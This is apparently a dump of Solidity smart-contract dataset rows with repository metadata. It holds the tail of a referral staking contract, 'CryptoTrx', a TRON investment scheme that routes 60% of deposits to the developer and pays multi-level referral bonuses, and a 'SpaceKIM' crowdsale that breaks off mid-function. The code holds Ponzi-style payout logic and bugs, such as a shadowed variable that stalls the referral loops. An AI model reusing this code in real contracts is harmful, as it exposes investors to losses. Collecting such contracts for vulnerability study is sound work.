users[upline].totalBonus = users[upline].totalBonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
_refBonus = _refBonus.add(amount);
upline = users[upline].referrer;
}else if((users[upline].referrals)<=75){
uint256 amount = value.mul(70).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
_refBonus = _refBonus.add(amount);
upline = users[upline].referrer;
}else if((users[upline].referrals)<=100){
uint256 amount = value.mul(150).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
_refBonus = _refBonus.add(amount);
upline = users[upline].referrer;
}else if((users[upline].referrals)>101){
uint256 amount = value.mul(200).div(PERCENTS_DIVIDER);
users[upline].totalBonus = users[upline].totalBonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
_refBonus = _refBonus.add(amount);
upline = users[upline].referrer;
}else{
uint256 amount =0;
users[upline].totalBonus = users[upline].totalBonus.add(amount);
users[upline].availableBonus = users[upline].availableBonus.add(amount);
_refBonus = _refBonus.add(amount);
upline = users[upline].referrer;
}
totalRefBonus = totalRefBonus.add(_refBonus);
}
if (user.deposits.length == 0) {
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
emit Newbie(sender);
}
(uint256 percent, uint256 profit, uint256 finish) = getResult(plan, value);
user.deposits.push(Deposit(plan, percent, value, profit, block.timestamp, finish));
totalStaked = totalStaked.add(value);
totalUsers = totalUsers.add(1);
emit NewDeposit(sender, plan, percent, value, profit, block.timestamp, finish);
}
function withdraw() public {
User storage user = users[msg.sender];
uint256 totalAmount = getUserDividends(msg.sender);
require(totalAmount > 0, "User has no dividends");
uint256 contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = block.timestamp;
user.holdBonusCheckpoint = block.timestamp;
user.availableBonus = 0;
user.withdrawn = user.withdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function forceWithdraw(uint256 index) public {
User storage user = users[msg.sender];
require(user.deposits.length > 0, "user doesn`t have deposits");
require(index < user.deposits.length, "Invalid index");
require(user.deposits[index].plan > 2, "unable to withdraw deposit");
require(user.deposits[index].finish > 0, "Already withdrawn");
require(user.deposits[index].finish > block.timestamp, "Period already ended");
uint256 amount = user.deposits[index].amount;
uint256 totalAmount = amount.sub(amount.mul(FORCE_WITHDRAW_PENALTY).div(PERCENTS_DIVIDER)); //80%
user.deposits[index].finish = 0;
if(totalAmount > address(this).balance) {
totalAmount = address(this).balance;
}
msg.sender.transfer(totalAmount);
}
function getAvailableNftBoxes(address userAddress) public view returns(uint256) {
User storage user = users[userAddress];
uint256[] memory amounts = new uint256[](3); // deposited amount plan4,plan5,plan6
for(uint256 i = 0; i < user.deposits.length; i++) {
if(user.deposits[i].plan > 2) {
uint256 indexForAmounts = user.deposits[i].plan.sub(3);
amounts[indexForAmounts] = amounts[indexForAmounts].add(user.deposits[i].amount);
}
}
uint256 boxesForPlan4 = getBoxesByDepositAmount(3, amounts[0]);
uint256 boxesForPlan5 = getBoxesByDepositAmount(4, amounts[1]);
uint256 boxesForPlan6 = getBoxesByDepositAmount(5, amounts[2]);
return boxesForPlan4.add(boxesForPlan5).add(boxesForPlan6);
}
function getBoxesByDepositAmount(uint8 plan, uint256 depositedAmount) public pure returns(uint256) {
if(depositedAmount >= NFT_BOXES_STEP) {
if(plan == 3) {
uint256 boxes = depositedAmount.div(NFT_BOXES_STEP); // 1 box per 1000 MATIC
if(boxes > MAX_NFT_AIRDROP_PLAN_4) {
boxes = MAX_NFT_AIRDROP_PLAN_4;
}
return boxes;
}
if(plan == 4) {
uint256 boxes = depositedAmount.div(NFT_BOXES_STEP).mul(2); // 2 boxes per 1000 MATIC
if(boxes > MAX_NFT_AIRDROP_PLAN_5) {
boxes = MAX_NFT_AIRDROP_PLAN_5;
}
return boxes;
}
if(plan == 5) {
uint256 boxes = depositedAmount.div(NFT_BOXES_STEP).mul(3); // 3 boxes per 1000 MATIC
if(boxes > MAX_NFT_AIRDROP_PLAN_6) {
boxes = MAX_NFT_AIRDROP_PLAN_6;
}
return boxes;
}
} else {
return 0;
}
}
function getUserReferralWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getContractBalance() public view returns (uint256) {
return address(this).balance;
}
function getPlanInfo(uint8 plan) public view returns(uint256 time, uint256 percent) {
time = plans[plan].time;
percent = plans[plan].percent;
}
function getPercent(uint8 plan) public view returns (uint256) {
return plans[plan].percent.add(PERCENT_STEP.mul(block.timestamp.sub(startUNIX)).div(TIME_STEP));
}
function getResult(uint8 plan, uint256 deposit) public view returns (uint256 percent, uint256 profit, uint256 finish) {
percent = getPercent(plan);
profit = deposit.mul(percent).div(PERCENTS_DIVIDER).mul(plans[plan].time);
finish = block.timestamp.add(plans[plan].time.mul(TIME_STEP));
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
uint256 timeMultiplier = block.timestamp.sub(user.holdBonusCheckpoint).div(TIME_STEP); // +0.1% per day
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return timeMultiplier;
}
function getUserDividends(address userAddress) public view returns (uint256) {
User storage user = users[userAddress];
uint256 totalAmount;
uint256 holdBonus = getUserPercentRate(userAddress);
for (uint256 i = 0; i < user.deposits.length; i++) {
if (user.checkpoint < user.deposits[i].finish) {
if (user.deposits[i].plan < 3) {
uint256 share = user.deposits[i].amount.mul(user.deposits[i].percent.add(holdBonus)).div(PERCENTS_DIVIDER);
uint256 from = user.deposits[i].start > user.checkpoint ? user.deposits[i].start : user.checkpoint;
uint256 to = user.deposits[i].finish < block.timestamp ? user.deposits[i].finish : block.timestamp;
if (from < to) {
totalAmount = totalAmount.add(share.mul(to.sub(from)).div(TIME_STEP));
}
} else {
if(block.timestamp > user.deposits[i].finish) {
totalAmount = totalAmount.add(user.deposits[i].profit);
}
}
}
}
if(user.availableBonus > 0) {
totalAmount = totalAmount.add(user.availableBonus);
}
return totalAmount;
}
function getContractInfo() public view returns(uint256, uint256, uint256) {
return(totalStaked, totalRefBonus, totalUsers);
}
function getUserWithdrawn(address userAddress) public view returns(uint256) {
return users[userAddress].withdrawn;
}
function getUserCheckpoint(address userAddress) public view returns(uint256) {
return users[userAddress].checkpoint;
}
function getUserReferrer(address userAddress) public view returns(address) {
return users[userAddress].referrer;
}
function getUserDownlineCount(address userAddress) public view returns(uint256) {
return (users[userAddress].referrals);
}
function getUserReferralTotalBonus(address userAddress) public view returns(uint256) {
return users[userAddress].totalBonus;
}
function getUserAvailable(address userAddress) public view returns(uint256) {
return getUserDividends(userAddress);
}
function getUserAmountOfDeposits(address userAddress) public view returns(uint256) {
return users[userAddress].deposits.length;
}
function getUserTotalDeposits(address userAddress) public view returns(uint256 amount) {
for (uint256 i = 0; i < users[userAddress].deposits.length; i++) {
amount = amount.add(users[userAddress].deposits[i].amount);
}
}
function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint8 plan, uint256 percent, uint256 amount, uint256 profit, uint256 start, uint256 finish) {
User storage user = users[userAddress];
plan = user.deposits[index].plan;
percent = user.deposits[index].percent;
amount = user.deposits[index].amount;
profit = user.deposits[index].profit;
start = user.deposits[index].start;
finish = user.deposits[index].finish;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 88,517 | 12,005 |
3f6340829664174bfbc8cd33484fe524eaed1605c3b89dd922cce4ac6d556bdc
| 20,728 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TR/TREz1MTVLXPfLq8HKZpkRzHTz9UHxrVgm6_CryptoTrx.sol
| 5,488 | 19,537 |
//SourceUnit: new_bank1.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
mapping(uint256 => uint256) levelRefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CryptoTrx is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 600; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 50;
uint256 private constant REFERENCE_RATE = 330;
uint256 private constant DEVELOPER_EXIT_RATE = 10; //per thousand
uint256 private constant ADMIN_EXIT_RATE = 10;
mapping(uint256 => uint256) public REFERENCE_LEVEL_RATE;
uint256 public constant MINIMUM = 10000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 6666; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(10,320*60*60*24,10)); //320 days
REFERENCE_LEVEL_RATE[1]=120;
REFERENCE_LEVEL_RATE[2]=50;
REFERENCE_LEVEL_RATE[3]=30;
REFERENCE_LEVEL_RATE[4]=20;
REFERENCE_LEVEL_RATE[5]=10;
REFERENCE_LEVEL_RATE[6]=10;
REFERENCE_LEVEL_RATE[7]=10;
REFERENCE_LEVEL_RATE[8]=10;
REFERENCE_LEVEL_RATE[9]=10;
REFERENCE_LEVEL_RATE[10]=10;
REFERENCE_LEVEL_RATE[11]=5;
REFERENCE_LEVEL_RATE[12]=5;
REFERENCE_LEVEL_RATE[13]=5;
REFERENCE_LEVEL_RATE[14]=5;
REFERENCE_LEVEL_RATE[15]=5;
REFERENCE_LEVEL_RATE[16]=5;
REFERENCE_LEVEL_RATE[17]=5;
REFERENCE_LEVEL_RATE[18]=5;
REFERENCE_LEVEL_RATE[19]=5;
REFERENCE_LEVEL_RATE[20]=5;
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256[] memory, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
uint256[] memory RefCount = new uint256[](20);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
for(uint256 i = 1; i < 21; i++)
{
RefCount[i]= investor.levelRefCount[i];
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
uint256 ln =1;
while (_referrerCode >= REFERRER_CODE && ln<21)
{
uint256 _ref1 = _referrerCode;
uid2Investor[_ref1].levelRefCount[ln] = uid2Investor[_ref1].levelRefCount[ln].add(1);
ln++;
_ref1 = uid2Investor[_ref1].referrer;
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_EXIT_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(ADMIN_EXIT_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
msg.sender.transfer(withdrawalAmount.sub(developerPercentage.add(marketingPercentage)));
if (uid2Investor[uid].availableReferrerEarnings>0) {
msg.sender.transfer(uid2Investor[uid].availableReferrerEarnings);
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _refAmount = 0;
uint ln=1;
while (_ref1 != 0 && ln<21) {
_refAmount = (_investment.mul(REFERENCE_LEVEL_RATE[1])).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
uint256 _ref1= uid2Investor[_ref1].referrer;
ln++;
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
}
| 288,154 | 12,006 |
4a3f888e9119a1f99b5154bf3e9cf75783f2172e8fa3478edc86f98053b0f95d
| 9,582 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x80fa08fc8da9db6dac8cd05d8741a2e7f20f39da.sol
| 2,971 | 9,554 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract SpaceKIMToken is BurnableToken {
string public constant name = "Space KIM Token";
string public constant symbol = "KIM";
uint32 public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 37900000;
function SpaceKIMToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
SpaceKIMToken public token = new SpaceKIMToken();
address multisig;
address restricted;
uint statusPreSale = 0;
uint rate;
uint minAmount;
uint saleStartDate;
uint saleFinishDate;
uint olympStartDate;
uint olympEndDate;
uint percentsTeamTokens;
uint percentsPreSaleTokens;
uint percentsBountySecondTokens;
uint percentsOlympicTokens;
uint endCrowdsaleDate;
modifier saleIsOn() {
uint curState = getStatus();
require(curState != 0 && curState != 5 && curState != 3);
_;
}
modifier isUnderHardCap() {
uint _availableTokens = token.balanceOf(this);
uint _tokens = calculateTokens(msg.value);
uint _minTokens = holdTokensOnStage();
require(_availableTokens.sub(_tokens) >= _minTokens);
_;
}
modifier checkMinAmount() {
require(msg.value >= minAmount);
_;
}
function Crowdsale() public {
multisig = 0x381b16397eF8fB8FFF65F6d3B6E5979C9d38fe40;
restricted = 0x381b16397eF8fB8FFF65F6d3B6E5979C9d38fe40;
minAmount = 0.01 * 1 ether;
rate = 10000;
saleStartDate = 1515974400; // 15.01.2018 00:00 GMT Main START
saleFinishDate = 1517961600; // 07.02.2017 00:00 GMT Main END
//Bounty first
olympStartDate = 1518134400; // 09.02.2018 00:00 GMT Olymp START
olympEndDate = 1519516800; // 25.02.2018 00:00 GMT Olymp END
//Bounty second
endCrowdsaleDate = 1519948800; // 02.03.2018 00:00 GMT Close Contract
percentsTeamTokens = 20;
percentsBountySecondTokens = 5;
percentsPreSaleTokens = 30;
percentsOlympicTokens = 15;
}
function calculateTokens(uint value) internal constant returns (uint) {
uint tokens = rate.mul(value).div(1 ether);
if(getStatus() == 1){
tokens += tokens.div(2);
}
return tokens;
}
// 0 - stop
// 1 - preSale
// 2 - sale
// 3 - Bounty First
// 4 - Olympic games
// 5 - Bounty Second
function getStatus() internal constant returns (uint8) {
if(now > endCrowdsaleDate) {
return 0;
} else if(now > olympEndDate && now < endCrowdsaleDate) {
return 5;
} else if(now > olympStartDate && now < olympEndDate) {
return 4;
} else if(now > saleFinishDate && now < olympStartDate) {
return 3;
} else if(now > saleStartDate && now < saleFinishDate) {
return 2;
} else if(statusPreSale == 1){
return 1;
} else {
return 0;
}
}
function holdTokensOnStage() public view returns (uint) {
uint _totalSupply = token.totalSupply();
uint _percents = 100;
uint curState = getStatus();
if(curState == 5) {
